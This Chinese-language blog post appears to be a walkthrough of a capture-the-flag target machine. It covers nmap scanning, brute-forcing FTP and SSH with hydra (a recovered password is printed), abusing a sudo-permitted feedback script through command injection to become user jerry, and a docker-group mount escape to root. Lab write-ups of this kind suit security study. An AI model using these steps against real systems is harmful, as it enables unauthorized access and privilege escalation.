前期准备:
建议翻墙下载。
用vm装好然后用nmap扫描主机发现没扫到
是ip没有分配到的问题
https://www.cnblogs.com/yichen115/p/12609048.html
但是这个文章里面用vim编辑,一般来说靶机没有安装vim,我都是用vi编辑,或者大佬都用nano编辑
vi编辑的基础指令【精选】【Linux】vi编辑器基本命令(简略)_vi编辑命令_轻闲一号机的博客-CSDN博客
配置完成用nmap扫描一下
nmap -p 1-65535 -A -sV 192.168.116.137或者详细扫描一下
80端口开放,我登录一下网页
看看源码
爆破一下网页后台地址
发现有个hidden_text进入一下
扫一下
#!/bin/bash
HOST=ip
USER=userftp
PASSWORD=ftpp@ssword
ftp -inv $HOST user $USER $PASSWORD
bye
EOF
发现ftp后台密码登录进去
登录进去发现有俩文件给他下载到我们本地,看一下这两个文件.
得到账户名和一个密码字典
爆破密码,上九头蛇
hydra -l robin -P ./p_lists.txt 192.168.95.134 ssh
拿到密码:k4rv3ndh4nh4ck3r
ssh登录,
拿到flag,就可以撤了。但是不是最终的flag。
查看project里面的文件
#!/bin/bash
clear
echo -e "Script For FeedBack\n"
read -p "Enter Your Name : " name
echo ""
read -p "Enter Your FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null
echo -e "\nThanks For Your FeedBack...!\n"
发现在第二次输入时,会将我们输入的内容赋值给 feedback,然后执行一条命令
$feedback 2>/dev/null
参考
这条命令的意思是忽略掉错误提示信息
也就是说 feedback 这个变量是我们可控的,如果feedback赋值/bin/bash将得到一个类似shell窗口
显然我们的robin是不够用的,需要提权找到另一个用户
这个时候用到提权,sudo -l 看一下
sudo的用法 Linux sudo命令 | 菜鸟教程
发现可以不使用密码以 jerry 用户运行 /home/robin/project/feedback.sh 脚本
当我们以 jerry 身份运行时这个脚本时,会以 jerry 用户身份运行 feedback 这个变量。我们可以将 /bin/bash 赋值给 feedback 这个变量,这样我们就能得到 jerry 的 shell 了
于是切换用户执行脚本
sudo -u jerry ./feedback.sh
再输入id
可以top键位看一下:
发现以 root
用户运行了 docker。而 jerry
在 docker 组中,这样我们就可以借用 docker,将靶机上的目录挂载到容器中,这样我们就能访问受限目录了。
看一手docker镜像发现有个alpine
我们就借助这个镜像来挂载 /root
目录。
尝试docker提权,
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
这样我们就将靶机的 /root
目录挂载到窗口中的 /mnt/123
中了。
然后进入root目录拿到最后的flag
我全程都是用shell连接我的kali主机,你可以在kali上面直接操作。